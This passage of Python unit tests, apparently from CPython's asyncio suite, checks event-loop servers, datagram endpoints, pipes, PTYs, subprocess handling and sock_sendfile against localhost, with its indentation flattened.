sock_ob = socket.socket(type=socket.SOCK_STREAM)
sock_ob.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_ob.bind(('0.0.0.0', 0))
f = self.loop.create_server(TestMyProto, sock=sock_ob)
server = self.loop.run_until_complete(f)
sock = server.sockets[0]
self.assertIs(sock, sock_ob)
host, port = sock.getsockname()
self.assertEqual(host, '0.0.0.0')
client = socket.socket()
client.connect(('127.0.0.1', port))
client.send(b'xxx')
client.close()
server.close()
def test_create_server_addr_in_use(self):
sock_ob = socket.socket(type=socket.SOCK_STREAM)
sock_ob.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_ob.bind(('0.0.0.0', 0))
f = self.loop.create_server(MyProto, sock=sock_ob)
server = self.loop.run_until_complete(f)
sock = server.sockets[0]
host, port = sock.getsockname()
f = self.loop.create_server(MyProto, host=host, port=port)
with self.assertRaises(OSError) as cm:
self.loop.run_until_complete(f)
self.assertEqual(cm.exception.errno, errno.EADDRINUSE)
server.close()
@unittest.skipUnless(support.IPV6_ENABLED, 'IPv6 not supported or enabled')
def test_create_server_dual_stack(self):
f_proto = asyncio.Future(loop=self.loop)
class TestMyProto(MyProto):
def connection_made(self, transport):
super().connection_made(transport)
f_proto.set_result(self)
try_count = 0
while True:
try:
port = support.find_unused_port()
f = self.loop.create_server(TestMyProto, host=None, port=port)
server = self.loop.run_until_complete(f)
except OSError as ex:
if ex.errno == errno.EADDRINUSE:
try_count += 1
self.assertGreaterEqual(5, try_count)
continue
else:
raise
else:
break
client = socket.socket()
client.connect(('127.0.0.1', port))
client.send(b'xxx')
proto = self.loop.run_until_complete(f_proto)
proto.transport.close()
client.close()
f_proto = asyncio.Future(loop=self.loop)
client = socket.socket(socket.AF_INET6)
client.connect(('::1', port))
client.send(b'xxx')
proto = self.loop.run_until_complete(f_proto)
proto.transport.close()
client.close()
server.close()
def test_server_close(self):
f = self.loop.create_server(MyProto, '0.0.0.0', 0)
server = self.loop.run_until_complete(f)
sock = server.sockets[0]
host, port = sock.getsockname()
client = socket.socket()
client.connect(('127.0.0.1', port))
client.send(b'xxx')
client.close()
server.close()
client = socket.socket()
self.assertRaises(
ConnectionRefusedError, client.connect, ('127.0.0.1', port))
client.close()
def test_create_datagram_endpoint(self):
class TestMyDatagramProto(MyDatagramProto):
def __init__(inner_self):
super().__init__(loop=self.loop)
def datagram_received(self, data, addr):
super().datagram_received(data, addr)
self.transport.sendto(b'resp:'+data, addr)
coro = self.loop.create_datagram_endpoint(
TestMyDatagramProto, local_addr=('127.0.0.1', 0))
s_transport, server = self.loop.run_until_complete(coro)
host, port = s_transport.get_extra_info('sockname')
self.assertIsInstance(s_transport, asyncio.Transport)
self.assertIsInstance(server, TestMyDatagramProto)
self.assertEqual('INITIALIZED', server.state)
self.assertIs(server.transport, s_transport)
coro = self.loop.create_datagram_endpoint(
lambda: MyDatagramProto(loop=self.loop),
remote_addr=(host, port))
transport, client = self.loop.run_until_complete(coro)
self.assertIsInstance(transport, asyncio.Transport)
self.assertIsInstance(client, MyDatagramProto)
self.assertEqual('INITIALIZED', client.state)
self.assertIs(client.transport, transport)
transport.sendto(b'xxx')
test_utils.run_until(self.loop, lambda: server.nbytes)
self.assertEqual(3, server.nbytes)
test_utils.run_until(self.loop, lambda: client.nbytes)
# received
self.assertEqual(8, client.nbytes)
# extra info is available
self.assertIsNotNone(transport.get_extra_info('sockname'))
# close connection
transport.close()
self.loop.run_until_complete(client.done)
self.assertEqual('CLOSED', client.state)
server.transport.close()
def test_create_datagram_endpoint_sock(self):
if (sys.platform == 'win32' and
isinstance(self.loop, proactor_events.BaseProactorEventLoop)):
raise unittest.SkipTest(
'UDP is not supported with proactor event loops')
sock = None
local_address = ('127.0.0.1', 0)
infos = self.loop.run_until_complete(
self.loop.getaddrinfo(
*local_address, type=socket.SOCK_DGRAM))
for family, type, proto, cname, address in infos:
try:
sock = socket.socket(family=family, type=type, proto=proto)
sock.setblocking(False)
sock.bind(address)
except:
pass
else:
break
else:
assert False, 'Can not create socket.'
f = self.loop.create_datagram_endpoint(
lambda: MyDatagramProto(loop=self.loop), sock=sock)
tr, pr = self.loop.run_until_complete(f)
self.assertIsInstance(tr, asyncio.Transport)
self.assertIsInstance(pr, MyDatagramProto)
tr.close()
self.loop.run_until_complete(pr.done)
def test_internal_fds(self):
loop = self.create_event_loop()
if not isinstance(loop, selector_events.BaseSelectorEventLoop):
loop.close()
self.skipTest('loop is not a BaseSelectorEventLoop')
self.assertEqual(1, loop._internal_fds)
loop.close()
self.assertEqual(0, loop._internal_fds)
self.assertIsNone(loop._csock)
self.assertIsNone(loop._ssock)
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
def test_read_pipe(self):
proto = MyReadPipeProto(loop=self.loop)
rpipe, wpipe = os.pipe()
pipeobj = io.open(rpipe, 'rb', 1024)
async def connect():
t, p = await self.loop.connect_read_pipe(
lambda: proto, pipeobj)
self.assertIs(p, proto)
self.assertIs(t, proto.transport)
self.assertEqual(['INITIAL', 'CONNECTED'], proto.state)
self.assertEqual(0, proto.nbytes)
self.loop.run_until_complete(connect())
os.write(wpipe, b'1')
test_utils.run_until(self.loop, lambda: proto.nbytes >= 1)
self.assertEqual(1, proto.nbytes)
os.write(wpipe, b'2345')
test_utils.run_until(self.loop, lambda: proto.nbytes >= 5)
self.assertEqual(['INITIAL', 'CONNECTED'], proto.state)
self.assertEqual(5, proto.nbytes)
os.close(wpipe)
self.loop.run_until_complete(proto.done)
self.assertEqual(
['INITIAL', 'CONNECTED', 'EOF', 'CLOSED'], proto.state)
# extra info is available
self.assertIsNotNone(proto.transport.get_extra_info('pipe'))
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
def test_unclosed_pipe_transport(self):
# This test reproduces the issue #314 on GitHub
loop = self.create_event_loop()
read_proto = MyReadPipeProto(loop=loop)
write_proto = MyWritePipeProto(loop=loop)
rpipe, wpipe = os.pipe()
rpipeobj = io.open(rpipe, 'rb', 1024)
wpipeobj = io.open(wpipe, 'w', 1024)
async def connect():
read_transport, _ = await loop.connect_read_pipe(
lambda: read_proto, rpipeobj)
write_transport, _ = await loop.connect_write_pipe(
lambda: write_proto, wpipeobj)
return read_transport, write_transport
# Run and close the loop without closing the transports
read_transport, write_transport = loop.run_until_complete(connect())
loop.close()
# These 'repr' calls used to raise an AttributeError
# See Issue #314 on GitHub
self.assertIn('open', repr(read_transport))
self.assertIn('open', repr(write_transport))
# Clean up (avoid ResourceWarning)
rpipeobj.close()
wpipeobj.close()
read_transport._pipe = None
write_transport._pipe = None
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
def test_read_pty_output(self):
proto = MyReadPipeProto(loop=self.loop)
master, slave = os.openpty()
master_read_obj = io.open(master, 'rb', 0)
async def connect():
t, p = await self.loop.connect_read_pipe(lambda: proto,
master_read_obj)
self.assertIs(p, proto)
self.assertIs(t, proto.transport)
self.assertEqual(['INITIAL', 'CONNECTED'], proto.state)
self.assertEqual(0, proto.nbytes)
self.loop.run_until_complete(connect())
os.write(slave, b'1')
test_utils.run_until(self.loop, lambda: proto.nbytes)
self.assertEqual(1, proto.nbytes)
os.write(slave, b'2345')
test_utils.run_until(self.loop, lambda: proto.nbytes >= 5)
self.assertEqual(['INITIAL', 'CONNECTED'], proto.state)
self.assertEqual(5, proto.nbytes)
os.close(slave)
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual(
['INITIAL', 'CONNECTED', 'EOF', 'CLOSED'], proto.state)
# extra info is available
self.assertIsNotNone(proto.transport.get_extra_info('pipe'))
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
def test_write_pipe(self):
rpipe, wpipe = os.pipe()
pipeobj = io.open(wpipe, 'wb', 1024)
proto = MyWritePipeProto(loop=self.loop)
connect = self.loop.connect_write_pipe(lambda: proto, pipeobj)
transport, p = self.loop.run_until_complete(connect)
self.assertIs(p, proto)
self.assertIs(transport, proto.transport)
self.assertEqual('CONNECTED', proto.state)
transport.write(b'1')
data = bytearray()
def reader(data):
chunk = os.read(rpipe, 1024)
data += chunk
return len(data)
test_utils.run_until(self.loop, lambda: reader(data) >= 1)
self.assertEqual(b'1', data)
transport.write(b'2345')
test_utils.run_until(self.loop, lambda: reader(data) >= 5)
self.assertEqual(b'12345', data)
self.assertEqual('CONNECTED', proto.state)
os.close(rpipe)
# extra info is available
self.assertIsNotNone(proto.transport.get_extra_info('pipe'))
# close connection
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
def test_write_pipe_disconnect_on_close(self):
rsock, wsock = socket.socketpair()
rsock.setblocking(False)
pipeobj = io.open(wsock.detach(), 'wb', 1024)
proto = MyWritePipeProto(loop=self.loop)
connect = self.loop.connect_write_pipe(lambda: proto, pipeobj)
transport, p = self.loop.run_until_complete(connect)
self.assertIs(p, proto)
self.assertIs(transport, proto.transport)
self.assertEqual('CONNECTED', proto.state)
transport.write(b'1')
data = self.loop.run_until_complete(self.loop.sock_recv(rsock, 1024))
self.assertEqual(b'1', data)
rsock.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
# select, poll and kqueue don't support character devices (PTY) on Mac OS X
# older than 10.6 (Snow Leopard)
@support.requires_mac_ver(10, 6)
def test_write_pty(self):
master, slave = os.openpty()
slave_write_obj = io.open(slave, 'wb', 0)
proto = MyWritePipeProto(loop=self.loop)
connect = self.loop.connect_write_pipe(lambda: proto, slave_write_obj)
transport, p = self.loop.run_until_complete(connect)
self.assertIs(p, proto)
self.assertIs(transport, proto.transport)
self.assertEqual('CONNECTED', proto.state)
transport.write(b'1')
data = bytearray()
def reader(data):
chunk = os.read(master, 1024)
data += chunk
return len(data)
test_utils.run_until(self.loop, lambda: reader(data) >= 1,
timeout=10)
self.assertEqual(b'1', data)
transport.write(b'2345')
test_utils.run_until(self.loop, lambda: reader(data) >= 5,
timeout=10)
self.assertEqual(b'12345', data)
self.assertEqual('CONNECTED', proto.state)
os.close(master)
# extra info is available
self.assertIsNotNone(proto.transport.get_extra_info('pipe'))
# close connection
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
@unittest.skipUnless(sys.platform != 'win32',
"Don't support pipes for Windows")
# select, poll and kqueue don't support character devices (PTY) on Mac OS X
# older than 10.6 (Snow Leopard)
@support.requires_mac_ver(10, 6)
def test_bidirectional_pty(self):
master, read_slave = os.openpty()
write_slave = os.dup(read_slave)
tty.setraw(read_slave)
slave_read_obj = io.open(read_slave, 'rb', 0)
read_proto = MyReadPipeProto(loop=self.loop)
read_connect = self.loop.connect_read_pipe(lambda: read_proto,
slave_read_obj)
read_transport, p = self.loop.run_until_complete(read_connect)
self.assertIs(p, read_proto)
self.assertIs(read_transport, read_proto.transport)
self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state)
self.assertEqual(0, read_proto.nbytes)
slave_write_obj = io.open(write_slave, 'wb', 0)
write_proto = MyWritePipeProto(loop=self.loop)
write_connect = self.loop.connect_write_pipe(lambda: write_proto,
slave_write_obj)
write_transport, p = self.loop.run_until_complete(write_connect)
self.assertIs(p, write_proto)
self.assertIs(write_transport, write_proto.transport)
self.assertEqual('CONNECTED', write_proto.state)
data = bytearray()
def reader(data):
chunk = os.read(master, 1024)
data += chunk
return len(data)
write_transport.write(b'1')
test_utils.run_until(self.loop, lambda: reader(data) >= 1, timeout=10)
self.assertEqual(b'1', data)
self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state)
self.assertEqual('CONNECTED', write_proto.state)
os.write(master, b'a')
test_utils.run_until(self.loop, lambda: read_proto.nbytes >= 1,
timeout=10)
self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state)
self.assertEqual(1, read_proto.nbytes)
self.assertEqual('CONNECTED', write_proto.state)
write_transport.write(b'2345')
test_utils.run_until(self.loop, lambda: reader(data) >= 5, timeout=10)
self.assertEqual(b'12345', data)
self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state)
self.assertEqual('CONNECTED', write_proto.state)
os.write(master, b'bcde')
test_utils.run_until(self.loop, lambda: read_proto.nbytes >= 5,
timeout=10)
self.assertEqual(['INITIAL', 'CONNECTED'], read_proto.state)
self.assertEqual(5, read_proto.nbytes)
self.assertEqual('CONNECTED', write_proto.state)
os.close(master)
read_transport.close()
self.loop.run_until_complete(read_proto.done)
self.assertEqual(
['INITIAL', 'CONNECTED', 'EOF', 'CLOSED'], read_proto.state)
write_transport.close()
self.loop.run_until_complete(write_proto.done)
self.assertEqual('CLOSED', write_proto.state)
def test_prompt_cancellation(self):
r, w = socket.socketpair()
r.setblocking(False)
f = self.loop.create_task(self.loop.sock_recv(r, 1))
ov = getattr(f, 'ov', None)
if ov is not None:
self.assertTrue(ov.pending)
async def main():
try:
self.loop.call_soon(f.cancel)
await f
except asyncio.CancelledError:
res = 'cancelled'
else:
res = None
finally:
self.loop.stop()
return res
start = time.monotonic()
t = asyncio.Task(main(), loop=self.loop)
self.loop.run_forever()
elapsed = time.monotonic() - start
self.assertLess(elapsed, 0.1)
self.assertEqual(t.result(), 'cancelled')
self.assertRaises(asyncio.CancelledError, f.result)
if ov is not None:
self.assertFalse(ov.pending)
self.loop._stop_serving(r)
r.close()
w.close()
def test_timeout_rounding(self):
def _run_once():
self.loop._run_once_counter += 1
orig_run_once()
orig_run_once = self.loop._run_once
self.loop._run_once_counter = 0
self.loop._run_once = _run_once
async def wait():
loop = self.loop
await asyncio.sleep(1e-2, loop=loop)
await asyncio.sleep(1e-4, loop=loop)
await asyncio.sleep(1e-6, loop=loop)
await asyncio.sleep(1e-8, loop=loop)
await asyncio.sleep(1e-10, loop=loop)
self.loop.run_until_complete(wait())
# The ideal number of call is 12, but on some platforms, the selector
# may sleep at little bit less than timeout depending on the resolution
# of the clock used by the kernel. Tolerate a few useless calls on
# these platforms.
self.assertLessEqual(self.loop._run_once_counter, 20,
{'clock_resolution': self.loop._clock_resolution,
'selector': self.loop._selector.__class__.__name__})
def test_remove_fds_after_closing(self):
loop = self.create_event_loop()
callback = lambda: None
r, w = socket.socketpair()
self.addCleanup(r.close)
self.addCleanup(w.close)
loop.add_reader(r, callback)
loop.add_writer(w, callback)
loop.close()
self.assertFalse(loop.remove_reader(r))
self.assertFalse(loop.remove_writer(w))
def test_add_fds_after_closing(self):
loop = self.create_event_loop()
callback = lambda: None
r, w = socket.socketpair()
self.addCleanup(r.close)
self.addCleanup(w.close)
loop.close()
with self.assertRaises(RuntimeError):
loop.add_reader(r, callback)
with self.assertRaises(RuntimeError):
loop.add_writer(w, callback)
def test_close_running_event_loop(self):
@asyncio.coroutine
def close_loop(loop):
self.loop.close()
coro = close_loop(self.loop)
with self.assertRaises(RuntimeError):
self.loop.run_until_complete(coro)
def test_close(self):
self.loop.close()
@asyncio.coroutine
def test():
pass
func = lambda: False
coro = test()
self.addCleanup(coro.close)
# operation blocked when the loop is closed
with self.assertRaises(RuntimeError):
self.loop.run_forever()
with self.assertRaises(RuntimeError):
fut = asyncio.Future(loop=self.loop)
self.loop.run_until_complete(fut)
with self.assertRaises(RuntimeError):
self.loop.call_soon(func)
with self.assertRaises(RuntimeError):
self.loop.call_soon_threadsafe(func)
with self.assertRaises(RuntimeError):
self.loop.call_later(1.0, func)
with self.assertRaises(RuntimeError):
self.loop.call_at(self.loop.time() + .0, func)
with self.assertRaises(RuntimeError):
self.loop.create_task(coro)
with self.assertRaises(RuntimeError):
self.loop.add_signal_handler(signal.SIGTERM, func)
# run_in_executor test is tricky: the method is a coroutine,
# but run_until_complete cannot be called on closed loop.
# Thus iterate once explicitly.
with self.assertRaises(RuntimeError):
it = self.loop.run_in_executor(None, func).__await__()
next(it)
class SubprocessTestsMixin:
def check_terminated(self, returncode):
if sys.platform == 'win32':
self.assertIsInstance(returncode, int)
# expect 1 but sometimes get 0
else:
self.assertEqual(-signal.SIGTERM, returncode)
def check_killed(self, returncode):
if sys.platform == 'win32':
self.assertIsInstance(returncode, int)
# expect 1 but sometimes get 0
else:
self.assertEqual(-signal.SIGKILL, returncode)
def test_subprocess_exec(self):
prog = os.path.join(os.path.dirname(__file__), 'echo.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
self.assertEqual('CONNECTED', proto.state)
stdin = transp.get_pipe_transport(0)
stdin.write(b'Python The Winner')
self.loop.run_until_complete(proto.got_data[1].wait())
with test_utils.disable_logger():
transp.close()
self.loop.run_until_complete(proto.completed)
self.check_killed(proto.returncode)
self.assertEqual(b'Python The Winner', proto.data[1])
def test_subprocess_interactive(self):
prog = os.path.join(os.path.dirname(__file__), 'echo.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
self.assertEqual('CONNECTED', proto.state)
stdin = transp.get_pipe_transport(0)
stdin.write(b'Python ')
self.loop.run_until_complete(proto.got_data[1].wait())
proto.got_data[1].clear()
self.assertEqual(b'Python ', proto.data[1])
stdin.write(b'The Winner')
self.loop.run_until_complete(proto.got_data[1].wait())
self.assertEqual(b'Python The Winner', proto.data[1])
with test_utils.disable_logger():
transp.close()
self.loop.run_until_complete(proto.completed)
self.check_killed(proto.returncode)
def test_subprocess_shell(self):
connect = self.loop.subprocess_shell(
functools.partial(MySubprocessProtocol, self.loop),
'echo Python')
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
transp.get_pipe_transport(0).close()
self.loop.run_until_complete(proto.completed)
self.assertEqual(0, proto.returncode)
self.assertTrue(all(f.done() for f in proto.disconnects.values()))
self.assertEqual(proto.data[1].rstrip(b'\r\n'), b'Python')
self.assertEqual(proto.data[2], b'')
transp.close()
def test_subprocess_exitcode(self):
connect = self.loop.subprocess_shell(
functools.partial(MySubprocessProtocol, self.loop),
'exit 7', stdin=None, stdout=None, stderr=None)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.completed)
self.assertEqual(7, proto.returncode)
transp.close()
def test_subprocess_close_after_finish(self):
connect = self.loop.subprocess_shell(
functools.partial(MySubprocessProtocol, self.loop),
'exit 7', stdin=None, stdout=None, stderr=None)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.assertIsNone(transp.get_pipe_transport(0))
self.assertIsNone(transp.get_pipe_transport(1))
self.assertIsNone(transp.get_pipe_transport(2))
self.loop.run_until_complete(proto.completed)
self.assertEqual(7, proto.returncode)
self.assertIsNone(transp.close())
def test_subprocess_kill(self):
prog = os.path.join(os.path.dirname(__file__), 'echo.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
transp.kill()
self.loop.run_until_complete(proto.completed)
self.check_killed(proto.returncode)
transp.close()
def test_subprocess_terminate(self):
prog = os.path.join(os.path.dirname(__file__), 'echo.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
transp.terminate()
self.loop.run_until_complete(proto.completed)
self.check_terminated(proto.returncode)
transp.close()
@unittest.skipIf(sys.platform == 'win32', "Don't have SIGHUP")
def test_subprocess_send_signal(self):
# bpo-31034: Make sure that we get the default signal handler (killing
# the process). The parent process may have decided to ignore SIGHUP,
# and signal handlers are inherited.
old_handler = signal.signal(signal.SIGHUP, signal.SIG_DFL)
try:
prog = os.path.join(os.path.dirname(__file__), 'echo.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
transp.send_signal(signal.SIGHUP)
self.loop.run_until_complete(proto.completed)
self.assertEqual(-signal.SIGHUP, proto.returncode)
transp.close()
finally:
signal.signal(signal.SIGHUP, old_handler)
def test_subprocess_stderr(self):
prog = os.path.join(os.path.dirname(__file__), 'echo2.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
stdin = transp.get_pipe_transport(0)
stdin.write(b'test')
self.loop.run_until_complete(proto.completed)
transp.close()
self.assertEqual(b'OUT:test', proto.data[1])
self.assertTrue(proto.data[2].startswith(b'ERR:test'), proto.data[2])
self.assertEqual(0, proto.returncode)
def test_subprocess_stderr_redirect_to_stdout(self):
prog = os.path.join(os.path.dirname(__file__), 'echo2.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog, stderr=subprocess.STDOUT)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
stdin = transp.get_pipe_transport(0)
self.assertIsNotNone(transp.get_pipe_transport(1))
self.assertIsNone(transp.get_pipe_transport(2))
stdin.write(b'test')
self.loop.run_until_complete(proto.completed)
self.assertTrue(proto.data[1].startswith(b'OUT:testERR:test'),
proto.data[1])
self.assertEqual(b'', proto.data[2])
transp.close()
self.assertEqual(0, proto.returncode)
def test_subprocess_close_client_stream(self):
prog = os.path.join(os.path.dirname(__file__), 'echo3.py')
connect = self.loop.subprocess_exec(
functools.partial(MySubprocessProtocol, self.loop),
sys.executable, prog)
transp, proto = self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.connected)
stdin = transp.get_pipe_transport(0)
stdout = transp.get_pipe_transport(1)
stdin.write(b'test')
self.loop.run_until_complete(proto.got_data[1].wait())
self.assertEqual(b'OUT:test', proto.data[1])
stdout.close()
self.loop.run_until_complete(proto.disconnects[1])
stdin.write(b'xxx')
self.loop.run_until_complete(proto.got_data[2].wait())
if sys.platform != 'win32':
self.assertEqual(b'ERR:BrokenPipeError', proto.data[2])
else:
# After closing the read-end of a pipe, writing to the
# write-end using os.write() fails with errno==EINVAL and
# GetLastError()==ERROR_INVALID_NAME on Windows!?! (Using
# WriteFile() we get ERROR_BROKEN_PIPE as expected.)
self.assertEqual(b'ERR:OSError', proto.data[2])
with test_utils.disable_logger():
transp.close()
self.loop.run_until_complete(proto.completed)
self.check_killed(proto.returncode)
def test_subprocess_wait_no_same_group(self):
# start the new process in a new session
connect = self.loop.subprocess_shell(
functools.partial(MySubprocessProtocol, self.loop),
'exit 7', stdin=None, stdout=None, stderr=None,
start_new_session=True)
_, proto = yield self.loop.run_until_complete(connect)
self.assertIsInstance(proto, MySubprocessProtocol)
self.loop.run_until_complete(proto.completed)
self.assertEqual(7, proto.returncode)
def test_subprocess_exec_invalid_args(self):
async def connect(**kwds):
await self.loop.subprocess_exec(
asyncio.SubprocessProtocol,
'pwd', **kwds)
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(universal_newlines=True))
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(bufsize=4096))
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(shell=True))
def test_subprocess_shell_invalid_args(self):
async def connect(cmd=None, **kwds):
if not cmd:
cmd = 'pwd'
await self.loop.subprocess_shell(
asyncio.SubprocessProtocol,
cmd, **kwds)
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(['ls', '-l']))
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(universal_newlines=True))
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(bufsize=4096))
with self.assertRaises(ValueError):
self.loop.run_until_complete(connect(shell=False))
class SendfileBase:
DATA = b"SendfileBaseData" * (1024 * 8) # 128 KiB
# Reduce socket buffer size to test on relative small data sets.
BUF_SIZE = 4 * 1024 # 4 KiB
@classmethod
def setUpClass(cls):
with open(support.TESTFN, 'wb') as fp:
fp.write(cls.DATA)
super().setUpClass()
@classmethod
def tearDownClass(cls):
support.unlink(support.TESTFN)
super().tearDownClass()
def setUp(self):
self.file = open(support.TESTFN, 'rb')
self.addCleanup(self.file.close)
super().setUp()
def run_loop(self, coro):
return self.loop.run_until_complete(coro)
class SockSendfileMixin(SendfileBase):
class MyProto(asyncio.Protocol):
def __init__(self, loop):
self.started = False
self.closed = False
self.data = bytearray()
self.fut = loop.create_future()
self.transport = None
def connection_made(self, transport):
self.started = True
self.transport = transport
def data_received(self, data):
self.data.extend(data)
def connection_lost(self, exc):
self.closed = True
self.fut.set_result(None)
async def wait_closed(self):
await self.fut
@classmethod
def setUpClass(cls):
cls.__old_bufsize = constants.SENDFILE_FALLBACK_READBUFFER_SIZE
constants.SENDFILE_FALLBACK_READBUFFER_SIZE = 1024 * 16
super().setUpClass()
@classmethod
def tearDownClass(cls):
constants.SENDFILE_FALLBACK_READBUFFER_SIZE = cls.__old_bufsize
super().tearDownClass()
def make_socket(self, cleanup=True):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(False)
if cleanup:
self.addCleanup(sock.close)
return sock
def reduce_receive_buffer_size(self, sock):
# Reduce receive socket buffer size to test on relative
# small data sets.
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, self.BUF_SIZE)
def reduce_send_buffer_size(self, sock, transport=None):
# Reduce send socket buffer size to test on relative small data sets.
# On macOS, SO_SNDBUF is reset by connect(). So this method
# should be called after the socket is connected.
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, self.BUF_SIZE)
if transport is not None:
transport.set_write_buffer_limits(high=self.BUF_SIZE)
def prepare_socksendfile(self):
proto = self.MyProto(self.loop)
port = support.find_unused_port()
srv_sock = self.make_socket(cleanup=False)
srv_sock.bind((support.HOST, port))
server = self.run_loop(self.loop.create_server(
lambda: proto, sock=srv_sock))
self.reduce_receive_buffer_size(srv_sock)
sock = self.make_socket()
self.run_loop(self.loop.sock_connect(sock, ('127.0.0.1', port)))
self.reduce_send_buffer_size(sock)
def cleanup():
if proto.transport is not None:
# can be None if the task was cancelled before
# connection_made callback
proto.transport.close()
self.run_loop(proto.wait_closed())
server.close()
self.run_loop(server.wait_closed())
self.addCleanup(cleanup)
return sock, proto
def test_sock_sendfile_success(self):
sock, proto = self.prepare_socksendfile()
ret = self.run_loop(self.loop.sock_sendfile(sock, self.file))
sock.close()
self.run_loop(proto.wait_closed())
self.assertEqual(ret, len(self.DATA))
self.assertEqual(proto.data, self.DATA)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sock_sendfile_with_offset_and_count(self):
sock, proto = self.prepare_socksendfile()
ret = self.run_loop(self.loop.sock_sendfile(sock, self.file,
1000, 2000))
sock.close()
self.run_loop(proto.wait_closed())
self.assertEqual(proto.data, self.DATA[1000:3000])
self.assertEqual(self.file.tell(), 3000)
self.assertEqual(ret, 2000)
def test_sock_sendfile_zero_size(self):
sock, proto = self.prepare_socksendfile()
with tempfile.TemporaryFile() as f:
ret = self.run_loop(self.loop.sock_sendfile(sock, f,
0, None))
sock.close()
self.run_loop(proto.wait_closed())
self.assertEqual(ret, 0)
self.assertEqual(self.file.tell(), 0)
def test_sock_sendfile_mix_with_regular_send(self):
buf = b"mix_regular_send" * (4 * 1024) # 64 KiB
sock, proto = self.prepare_socksendfile()
self.run_loop(self.loop.sock_sendall(sock, buf))
ret = self.run_loop(self.loop.sock_sendfile(sock, self.file))
self.run_loop(self.loop.sock_sendall(sock, buf))
sock.close()
self.run_loop(proto.wait_closed())
self.assertEqual(ret, len(self.DATA))
expected = buf + self.DATA + buf
self.assertEqual(proto.data, expected)
self.assertEqual(self.file.tell(), len(self.DATA))
class SendfileMixin(SendfileBase):
class MySendfileProto(MyBaseProto):
def __init__(self, loop=None, close_after=0):
super().__init__(loop)
self.data = bytearray()
self.close_after = close_after
def data_received(self, data):
self.data.extend(data)
super().data_received(data)
if self.close_after and self.nbytes >= self.close_after:
self.transport.close()
# Note: sendfile via SSL transport is equal to sendfile fallback
def prepare_sendfile(self, *, is_ssl=False, close_after=0):
port = support.find_unused_port()
srv_proto = self.MySendfileProto(loop=self.loop,
close_after=close_after)
if is_ssl:
if not ssl:
self.skipTest("No ssl module")
srv_ctx = test_utils.simple_server_sslcontext()
cli_ctx = test_utils.simple_client_sslcontext()
else:
srv_ctx = None
cli_ctx = None
srv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv_sock.bind((support.HOST, port))
server = self.run_loop(self.loop.create_server(
lambda: srv_proto, sock=srv_sock, ssl=srv_ctx))
self.reduce_receive_buffer_size(srv_sock)
if is_ssl:
server_hostname = support.HOST
else:
server_hostname = None
cli_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cli_sock.connect((support.HOST, port))
cli_proto = self.MySendfileProto(loop=self.loop)
tr, pr = self.run_loop(self.loop.create_connection(
lambda: cli_proto, sock=cli_sock,
ssl=cli_ctx, server_hostname=server_hostname))
self.reduce_send_buffer_size(cli_sock, transport=tr)
def cleanup():
srv_proto.transport.close()
cli_proto.transport.close()
